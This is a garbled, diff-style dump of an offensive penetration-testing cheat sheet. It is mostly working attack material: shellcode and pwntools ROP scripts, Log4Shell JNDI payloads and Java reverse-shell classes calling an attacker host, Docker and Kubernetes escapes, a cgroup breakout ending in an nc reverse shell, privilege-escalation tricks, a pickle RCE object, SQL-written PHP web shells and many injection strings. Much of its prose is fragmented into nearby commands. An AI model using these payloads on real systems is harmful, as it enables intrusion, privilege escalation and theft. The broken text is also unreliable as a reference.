-run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
-* Where the existing shellcode is the following
-```sh
-\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
-```
-* Setreuid part is the following
-```sh
-\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
-```
-ropper or even better ropstarfrom pwn import *
-
-s = ssh(host="$TARGET_IP", user="<user>", keyfile="", password="")
-p = s.process(['sudo', '<process>'])
-
-offset=<found_offset_len>
-
-# take the ropchain from ropstar
-payload = cyclic(offset)
-payload += p64(0x4711)
-payload += p64(0x235)
-payload += p64(0x007)
-
-print(p.recv())
-p.sendline(payload)
-print(p.recv())
-p.sendline("/bin/sh")
-p.interactive(prompt='')
-%42$p
-|Parameters |Type |Passed as -|-----------------|-------------------------------------------|-----------| -%d decimal (int) value -%u unsigned decimal (unsigned int) value -%x hexadecimal (unsigned int) value -%p hexadecimal (unsigned int), nice layout value -%s string ((const) (unsigned) char) reference -%n write the number of bytes ypu put in, (int) reference
-%42$s
-%42$s
-%31337x
-%x for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
-%llx
-%2$s
-%p
-%42$p
-from pwn import *
-
-#p = process('./vuln')
-p = remote(target_ip, 9006)
-
-payload = b'%14$p||||'
-payload += p32(0x8048000)
-
-p.sendline(payload)
-log.info(p.clean())
-%nPTR from PLT to GOTobjdump -Mintel -d <binary>
-
-[...]
-0000000000401060 <printf@plt>:
- 401060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404030 <printf@GLIBC_2.2.5>
- 401066: 68 03 00 00 00 push 0x3
- 40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
-[...]
-PTR derefences 0x404030PTR to GOT through the buffer, so it will execute. The address which should be written is 0x40123b%64c%6$n<restof address - 67>c %13$hn
-64c is 0x40, rest of address - bytes already + 2 bytes alignmentAAAA and look out where it is placed on the stackAAAA%6$p
-Comparing int and uint with values above max leads to integral promotion
Check data type min and max
-#include <stdio.h>
-#include <limits.h>
-
-int main(void)
-{
-
- printf("CHAR_MAX: %i\n", CHAR_MAX);
- printf("UCHAR_MAX: %i\n", UCHAR_MAX);
-
- printf("SHORT_MAX: %i\n", SHRT_MAX);
- printf("USHORT_MAX: %i\n", USHRT_MAX);
-
- printf("INT_MAX: %i\n", INT_MAX);
- printf("UINT_MAX: %u\n", UINT_MAX);
-
- return 0;
-}
-2147483647 and 1. c is negative and leads to the shell int a,b,c;
-
-
- if(a >=0 && b >=0)
- if(c >= 0){
- printf("\n[*] ADDING %d + %d",a,b);
- printf("\n[*] RESULT: %d\n",c);
- }
- else{
- system("/bin/sh");
- }
- else
- printf("nope");
-Overwrite the GOT address of a called functions, which then will be returned instead
-Check the disassembly of the binary for SO function call
-x/s <functionaddress>
-x/3i <functionaddress>
-Check the GOT address of the PLT. There should be PTR via jmp to the GOT address of the function
Rewrite this address with for example system. Take a look where it is placed
p system
-jmp to GOT to system addressset *<foundGOTjmpAddress>=<foundSystemAddress>
-systemr2 -d <binary>
-aaa
-ia
-izz
-iM
-ie
-s
-s <func>
-sr <reg>
-pdf @main
-pd @main
-db 0xdeadbeef
-dbi
-px @rbp-0x4
-dc
-ds
-dr
-ood
-VV:;wwcwAs <memoryaddress>
-wx <newOpcode>
-dc
-Check binary via
-checksec, PIE shows start address, RELRO shows permissions of r/w to gotfilecat /proc/sys/kernel/randomize_va_spacegot contains dynamically loaded functionsplt contains used loaded dynamical functions/bin/shsysteminfo sharedlibrary
-sh address inside libcstrings -a -t x /lib32/libc.so.6 | grep /bin/sh
-system address from inside libcreadelf -s /lib32/libc.so.6 | grep system
-pattern createrunpattern search $<register>/bin/sh with parametersROPgadget --binary <file> | grep rdi
-rets, to put in front of rdiobjdump -d <file> | grep ret
-from pwn import *
-
-p = process('<binary>')
-
-cbase = 0x<libc_base>
-sys = cbase + <libc_system>
-sh = cbase + <libc_shell>
-rop_rdi = <found rop rdi>
-rop_ret = <found rop ret>
-
-payload = b'A' * <count>
-payload += b'B' * 8
-payload += p64(rop_ret)
-payload += p64(rop_rdi)
-payload += p64(sh)
-payload += p64(system)
-payload += p64(0x0) # end payload
-
-p.recv()
-p.sendline(payload)
-p.interactive()
-#!/usr/bin/env python3
-
-from pwn import *
-
-context.binary = binary = '<binary>'
-elf = ELF(binary)
-rop = ROP(elf)
-libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
-p = process()
-
-# ROP I, needed when ASL is enabled
-payload = b'A' * 18
-payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
-payload += p64(elf.got.gets)
-payload += p64(elf.plt.puts)
-payload += p64(elf.symbols.main)
-
-p.recvline()
-p.sendline(payload)
-p.recvline()
-leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
-p.recvline()
-
-log.info(f"gets: {hex(leak)}")
-libc.address = leak - libc.symbols.gets
-log.info(f"libc address: {hex(libc.address)}") # start address should be aligned
-
-# ROP II
-payload = b'A' * 18
-payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
-payload += p64(next(libc.search(b'/bin/sh')))
-payload += p64(rop.find_gadget(['ret'])[0])
-payload += p64(libc.symbols.system)
-
-p.sendline(payload)
-p.recvline()
-p.interactive()
-Relies on misconfiguration of the zone's master. Just query a domain from the master, if possible. Results in a disclosure of subdomains and all records previously made.
-drill axfr test.com @<master-DNS>
-#!/usr/bin/env python
-import requests
-
-# this is copy/paste from Hex editor - two different files with the same SHA1 checksum
-name = '255044462D312E33 0A25E2E3 CFD30A0A 0A312030 206F626A 0A3C3C2F 57696474 68203220 3020522F 48656967 68742033 20302052 2F547970 65203420 3020522F 53756274 79706520 35203020 522F4669 6C746572 20362030 20522F43 6F6C6F72 53706163 65203720 3020522F 4C656E67 74682038 20302052 2F426974 73506572 436F6D70 6F6E656E 7420383E 3E0A7374 7265616D 0AFFD8FF FE002453 48412D31 20697320 64656164 21212121 21852FEC 09233975 9C39B1A1 C63C4C97 E1FFFE01 7F46DC93 A6B67E01 3B029AAA 1DB2560B 45CA67D6 88C7F84B 8C4C791F E02B3DF6 14F86DB1 690901C5 6B45C153 0AFEDFB7 6038E972 722FE7AD 728F0E49 04E046C2 30570FE9 D41398AB E12EF5BC 942BE335 42A4802D 98B5D70F 2A332EC3 7FAC3514 E74DDC0F 2CC1A874 CD0C7830 5A215664 61309789 606BD0BF 3F98CDA8 044629A1 3C68746D 6C3E0A3C 73637269 7074206C 616E6775 6167653D 6A617661 73637269 70742074 7970653D 22746578 742F6A61 76617363 72697074 223E0A3C 212D2D20 40617277 202D2D3E 0A0A7661 72206820 3D20646F 63756D65 6E742E67 6574456C 656D656E 74734279 5461674E 616D6528 2248544D 4C22295B 305D2E69 6E6E6572 48544D4C 2E636861 72436F64 65417428 31303229 2E746F53 7472696E 67283136 293B0A69 66202868 203D3D20 27373327 29207B0A 20202020 646F6375 6D656E74 2E626F64 792E696E 6E657248 544D4C20 3D20223C 5354594C 453E626F 64797B62 61636B67 726F756E 642D636F 6C6F723A 5245443B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 383B3C2F 48313E22 3B0A7D20 656C7365 207B0A20 20202064 6F63756D 656E742E 626F6479 2E696E6E 65724854 4D4C203D 20223C53 54594C45 3E626F64 797B6261 636B6772 6F756E64 2D636F6C 6F723A42 4C55453B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 393B3C2F 48313E22 3B0A7D0A 0A3C2F73 63726970 743E0A0A'
-
-password = '25504446 2D312E33 0A25E2E3 CFD30A0A 0A312030 206F626A 0A3C3C2F 57696474 68203220 3020522F 48656967 68742033 20302052 2F547970 65203420 3020522F 53756274 79706520 35203020 522F4669 6C746572 20362030 20522F43 6F6C6F72 53706163 65203720 3020522F 4C656E67 74682038 20302052 2F426974 73506572 436F6D70 6F6E656E 7420383E 3E0A7374 7265616D 0AFFD8FF FE002453 48412D31 20697320 64656164 21212121 21852FEC 09233975 9C39B1A1 C63C4C97 E1FFFE01 7346DC91 66B67E11 8F029AB6 21B2560F F9CA67CC A8C7F85B A84C7903 0C2B3DE2 18F86DB3 A90901D5 DF45C14F 26FEDFB3 DC38E96A C22FE7BD 728F0E45 BCE046D2 3C570FEB 141398BB 552EF5A0 A82BE331 FEA48037 B8B5D71F 0E332EDF 93AC3500 EB4DDC0D ECC1A864 790C782C 76215660 DD309791 D06BD0AF 3F98CDA4 BC4629B1 3C68746D 6C3E0A3C 73637269 7074206C 616E6775 6167653D 6A617661 73637269 70742074 7970653D 22746578 742F6A61 76617363 72697074 223E0A3C 212D2D20 40617277 202D2D3E 0A0A7661 72206820 3D20646F 63756D65 6E742E67 6574456C 656D656E 74734279 5461674E 616D6528 2248544D 4C22295B 305D2E69 6E6E6572 48544D4C 2E636861 72436F64 65417428 31303229 2E746F53 7472696E 67283136 293B0A69 66202868 203D3D20 27373327 29207B0A 20202020 646F6375 6D656E74 2E626F64 792E696E 6E657248 544D4C20 3D20223C 5354594C 453E626F 64797B62 61636B67 726F756E 642D636F 6C6F723A 5245443B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 383B3C2F 48313E22 3B0A7D20 656C7365 207B0A20 20202064 6F63756D 656E742E 626F6479 2E696E6E 65724854 4D4C203D 20223C53 54594C45 3E626F64 797B6261 636B6772 6F756E64 2D636F6C 6F723A42 4C55453B 7D206831 7B666F6E 742D7369 7A653A35 3030253B 7D3C2F53 54594C45 3E3C4831 3E262378 31663634 393B3C2F 48313E22 3B0A7D0A 0A3C2F73 63726970 743E0A0A'
-
-print '[+] create URL decoded strings to send as GET parameters [name] and [password]...'
-name = ''.join(name.split(' '))
-password = ''.join(password.split(' '))
-
-namestr = ''.join(['%' + name[i] + name[i + 1]
- for i in range(0, len(name)) if i % 2 == 0])
-
-passwordstr = ''.join(['%' + password[j] + password[j + 1]
- for j in range(0, len(password)) if j % 2 == 0])
-
-print '[+] sending request to http://54.202.82.13/?name=[name]&password=[password]'
-
-u = 'http://54.202.82.13/?name={}&password={}'.format(namestr, passwordstr)
-
-resp = requests.get(u, headers={
- 'Host': '54.202.82.13'
-})
- ${@java.lang.Runtime@getRuntime().exec("touch /tmp/exploit")}/
-URL encode and curl for PoC
-Use Naqwda's exploit
-jdbjdb -attach $TARGET_IP:$TARGET_PORT
-classpath
-classes
-stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
-print new java.lang.Runtime().exec("nc.traditional $ATTACKER_IP 4449 -e /bin/sh")
-curl -T ./webshell.war -u 'user:password' http://$TARGET_IP:8080/manager/text/deploy?path=/shello
-$TARGET_IP:8080/shello/msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4449 -f war -o revshell.war
-log4j < version 2.15.0rc2Code inside a param value is parsed and a ${payload} will be executed, for example
${sys:os.name}
-${sys:user.name}
-${log4j:configParentLocation}
-${ENV:PATH}
-${ENV:HOSTNAME}
-${java:version}
-${jndi:ldap://<attacker-IP>/foo}curl 'http://$TARGET:8983/solr/admin/cores?foo=?$\{jndi:ldap://$ATTACKER_IP:4449\}'
-X-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}
-Accept: ${jndi:ldap://$ATTACKER_IP:1389/foo}
-X-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}
-mvn clean package -DskipTestsA Proxy LDAP server to an HTTP server is needed
-Compile following Java reverse shell via javac Exploit.java -source 8 -target 8 to Exploit.class
public class Exploit {
- static {
- try {
- java.lang.Runtime.getRuntime().exec("nc -e /bin/bash $ATTACKER_IP 4449");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-}
-or another one
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.Socket;
-
-public class Exploit {
- static {
- String host = "$ATTACKER_IP";
- int port = 4711;
- String cmd = "/bin/sh";
- try {
- Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
- Socket s = new Socket(host, port);
- InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
- OutputStream po = p.getOutputStream(), so = s.getOutputStream();
- while (!s.isClosed()) {
- while (pi.available() > 0)
- so.write(pi.read());
- while (pe.available() > 0)
- so.write(pe.read());
- while (si.available() > 0)
- po.write(si.read());
- so.flush();
- po.flush();
- Thread.sleep(50);
- try {
- p.exitValue();
- break;
- } catch (Exception e) {
- }
- }
- p.destroy();
- s.close();
- } catch (Exception e) {
- }
- }
-}
-java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit"
-php -S 0.0.0.0:8000
-nc -lvnp 4449
-curl 'http://$TARGET:8983/solr/admin/cores?foo=$\{jndi:ldap://$ATTACKER_IP:1389/Exploit\}'Parse logs for jndi
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
-${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
-${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
-${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
-${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
-${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
-${${::-j}ndi:rmi://attackerendpoint.com/}
-solr.in.shSOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
-10.10.90.21210.10.90.212
-RCE of *.jsp files through tomcat HTTP post request
Conditions
---jdk9
-
spring-webvmc or spring-webflux components of the spring framework/etc/docker/daemon.jsoncurl http://test.com:5000/v2/_catalog`
-curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
-history section of the json object contains commands executed at build phase. May contain sensitive data like passwords.curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
-dive <IMAGE-ID>
-latest taglatestdocker group may open tcp socket through dockernmap -sV -p- <IP> -vv to find exposed tcp sockets via dockercurl http://test.com:2375/version on open docker portExecute commands on socket
- sh
- docker -H tcp://test.com:2375 ps
- docker -H tcp://test.com:2375 exec <container> <cmd>
- docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
find / -name "*sock"
-groups
-docker images
-docker run -v /:/mnt --rm -it alpine chroot /mnt sh
-or
-docker run -v /:/host --rm -it <imageID> chroot /host/ bash
-OverlayFS
-Requires root inside the container
-Execute command
-nsenter --target 1 --mount sh
-capsh --print
-man capabilities
Exploit and get a reverse shell to the host via
-mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
-echo 1 > /tmp/cgrp/x/notify_on_release
-host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
-echo "$host_path/exploit" > /tmp/cgrp/release_agent
-echo '#!/bin/sh' > /exploit
-echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
-chmod a+x /exploit
-sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
-fdisk -l and lsblk, host bulk device may be exposedmkdir /mnt/hostdev
-mount /dev/<hostVda> /mnt/hostdev
-/dev as well !!! and mount devicecurl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
-curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
-curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
-curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
-socat - UNIX-CONNECT:/var/run/docker.sock
-POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
-Host:
-Connection: Upgrade
-Upgrade: tcp
-
-HTTP/1.1 101 UPGRADED
-Content-Type: application/vnd.docker.raw-stream
-Connection: Upgrade
-Upgrade: tcp
-create table h4x0r (pwn varchar(1024));
-insert into h4x0r (pwn) values ('<?php $cmd=$_GET[โcmdโ];system($cmd);?>');
-select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
-curl <host-IP>/shell.php?cmd=id
-https://github.com/dirtycow/dirtycow.github.io
-ps aux
-.dockerenv in /cd / && ls -lah
-pwd /proc/1
-cat cgroups
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 auth can-i --list
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get namespaces
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets -o yaml -n kube-system > kube-system.yml
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets -n kube-system
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets flag -n kube-system -o yaml
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pods
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pod <image> -o yaml
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get nodes -o yaml
-apiVersion: v1
-kind: Pod
-metadata:
- name: attacking-pod
-spec:
- containers:
- - image: <image name in found containers/nodes section>
- name: <name of image in found containers/nodes section>
- command: [ "/bin/sh", "-c", "--" ]
- args: [ "while true; do sleep 30; done;" ]
- volumeMounts:
- - mountPath: /host
- name: host
- volumes:
- - name: host
- hostPath:
- path: /
- type: Directory
-/ of the node is mounted to /host inside the new podkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 apply -f <filename.yaml>
-kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 exec -it attacking-pod -- /bin/bash
-lxd group, not necessarily sudo.git clone https://github.com/saghul/lxd-alpine-builder.git
-cd lxd-alpine-builde && sudo && ./build alpine
-lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
-lxc image list
-lxc init myimage ignite -c security.privileged=true
-lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
-lxc start ignite
-lxc exec ignite /bin/sh
-/ is mounted at /mnt/root inside the containerroot directory is at /mnt/root/rootpod.yaml configurationapiVersion: v1
-kind: Pod
-metadata:
- name: harry-podder
-spec:
- containers:
- - name: shell
- image: localhost:47111/alpine
- command:
- - "/bin/bash"
- - "-c"
- - "sleep 10000"
- volumeMounts:
- - name: root
- mountPath: /mnt/root
- volumes:
- - name: root
- hostPath:
- path: /
- type: Directory
-microk8s kubectl apply -f pod.yaml
-microk8s kubectl exec -it harry-podder -- /bin/bash
-getcap -r / 2>/dev/null
-cap_setuid through /bin/perlperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
-5.8 < Vulnerable kernels < 5.10.102
-splice(2) moves data between files and through pipes without copying between kernel and user adress spacePIPE_BUF_FLAG_CAN_MERGE flag has to be activated in order to write back to a file(metadata "\c${system('id')};")sudo apt install djvulibre-bin
-bzz payload payload.bzz
-djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
-Preload libs and do interpositioning of functions.
-man ld.so
man dlsym, dlsym() calls the original function_init()#include <stdio.h>
-#include <sys/types.h>
-#include <stdlib.h>
-
-void _init() {
- unsetenv("LD_PRELOAD");
- setgid(0);
- setuid(0);
- system("/bin/bash");
-}
-gcc -fPIC -shared -o lib.so lib.c -nostartfilessudo LD_PRELOAD=lib.so apache2$ idwrite()#include <stdio.h>
-#include <unistd.h>
-#include <dlfcn.h> // Contains _GNU_SOURCE from man dlsym
-#include <string.h>
-ssize_t write(int fildes, const void *buf, size_t nbytes)
-{
- ssize_t result;
- do the thing;
- return result;
-}
-gcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl`
-LD_PRELOAD has to be set differently. These may look as followsLD_PRELOAD=./interpositioning.so <binary>
-orexport LD_PRELOAD=$(pwd)/interpositioning.so
-or/etc/ld.so.preload
-orChange the preload path via LD_PRELOAD_PATH
Verify via ldd <somebinary>
no_root_squash has to be as an option on the NFS deviceshowmount -e <target-IP>mkdir /tmp/net_volume
Connect to NFS share
-mount -o rw,vers=2 <nfsShare-IP>:/tmp /tmp/net_volume
-echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/net_volume/shell.c
-gcc /tmp/net_volume/shell.c -o /tmp/net_volume/shell
-chmod +s /tmp/net_volume/shell
-Arg counting starts at 1 inside pkexec logic
-execve( "/usr/binpkexec", (char **){NULL}, env) puts NULL into argc[1]< 0.105-26ubuntu1.1pkexec. sleep time is variable.dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:user1 string:"New Account" int32:1 & sleep 0.005s; kill $!
-* Create password via `openssl passwd -6 -salt salt password123`
-dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$cevuzTZ/QBjzuZG0/ebEeedmcTnhyM8ITUu8K032Cp2XvIibq7voqYagm18bwpLBqrg/l/l6YxTmKKibJz5r10' string:'New Password' & sleep 0.005s; kill $!
-Request is killed after polkits receives it
-Polkit requests uid of user who sent the message, which has been deleted
-Request succeeds
-su user1 and sudo -s
sudoecho $$
-pkttyagent --process <PID of s1>
-pkexec "/bin/bash"
-read_reds) and creates a file descriptor to itroot_credentials and is owned by roottouch yo
-gistfile.txt from live overflow's repogcc gistfile.c -o rename_file
-./rename_file yo root_credentials
-root_credentials until it succeeds./read_creds root_credentials
-setcap cap_setuid+ep /absolute/path/to/copied/python3
-python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
-Test binary via
-strace <binary> 2>&1 | grep -i -E "open|access|no such file"
-#include <stdio.h>
-#include <stdlib.h>
-
-static void inject ( ) __attribute__ ( (constructor) );
-
-void inject ( ) {
- system ( "cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p" );
-}
-gcc -fPIC -shared -o ~/.config/lib.so ~/.config/lib.ccurl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" http://<target-IP>/cgi-bin/test/test.cgi
-sudo -u#-1 <app>
-sudoedit -s '\' $(python -c "print('\x41' * 10000)")
-./brute.sh 90 120 50 70 150 300
-ptrace has to be fully enabled
cat /proc/sys/kernel/yama/ptrace_scope
-0
-ps wuaxgdb has to be installed/var/www/html via tar cf backup.tar *. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > shell.sh
-echo "" > "--checkpoint-action=exec=sh shell.sh"
-echo "" > "--checkpoint=1"
-or
-echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
-touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
-touch "/var/www/html/--checkpoint=1"
-touch './"";$(chmod 777 *)'
-macof -i <interface>
-or
-ettercap -T -i <interface> -P rand_flood -q -w file.pcap
-Padding Oracle
- ./padBuster.pl http://10.10.135.100/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies "hcon=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3" -error "<website error>"
-```sh
- ./padBuster.pl http://$TARGET_IP/index.php 3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3 8 -cookies "session=3AJot%2F7S5NUiay66TEbzg0FkJkO3JGR3" -error "<website error>" -plaintext '<user>=<username>'
-input(), exec() and eval() makes it possibleeval("__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#")
-__builtins__dir(__builtins__)
-__builtins__.__dict__
-__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')
-python -c 'import sys; print("\n".join(sys.path))'
-pwdSETENV may be set while loading script through sudosudo PYTHONPATH=/tmp/ /usr/bin/python3.6 <script.py>
-import pickle
-import os
-import base64
-class evil_object(object):
- def __reduce__(self):
- return(os.system, ('/bin/bash',))
-x = evil_object()
-x = evil_object()
-y = pickle.dumps(x)
-base64.b64encode(y)
-pickle.dump(SerializedPickle(), open('pickled.out', 'wb')
-uncompyle6 file.pyc
-$and
-$or
-$eq
-$ne
-$gt
-$where
-$exists
-$regex
-user= and password= use user[$operator]=foo and password[$operator]=baruser[$nin][]=foousername=admin&password[$ne]=admin
-{"username":"user","password":{"$ne":""} }
-http://example.com/index.php?id=' or 1=1 -- -
-http://example.com/index.php?id=10 or 1=1 -- +
-http://example.com/index.php?id=10' or '1'='1'-- -
-http://example.com/index.php?id=-1' or 1=1 -- -&password=x
-http://example.com/index.php?id='
-' and resolve via tautology, comment the rest of the string via --SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
-SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
-SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
-SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
-' UNION SELECT null,null,null where database() like 'da%';-- -
-' union select sleep(3), null; -- -
-http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
-http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
---level=5 --risk=3 --dbms=sqlite --technique=b --dump ' order by 1 -- -
-' order by 2 -- -
-' order by 3 -- -
-' UNION SELECT NULL--
-' UNION SELECT NULL,NULL--
-' UNION SELECT NULL,NULL,NULL--
-# until the error occurs
-' UNION SELECT 'a',NULL,NULL,NULL--
-' UNION SELECT NULL,'a',NULL,NULL--
-' UNION SELECT NULL,NULL,'a',NULL--
-' UNION SELECT NULL,NULL,NULL,'a'--
-' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
-' UNION SELECT NULL,username,password,NULL FROM users -- //
-0 union select null, null, database()
-0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
-0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
-0 union select null, null, group_concat(username, ':', password from found_tablename
-id=sqlite_version()
-id=@@version # mysql/mssql
-id=(SELECT banner FROM v$version) # oracle
-1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
-' UNION SELECT sql, sql FROM sqlite_master -- -
-(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
-(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
-1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
-1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
-union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
-system() or exec_shell() and a get parameter<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
-<?php system($_GET["cmd"]); ?> " Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
-GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
-* Get col names
-```HTTP
-GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
-```
-* Get notes from users by id
-```HTTP
-GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
-```
--r with a saved HTTP request sqlmap -r request.txt --dbms=mysql --dump
-sqlmap -r request.txt --batch
-sqlmap -u http://<target-IP>/site.php --forms --dump-all
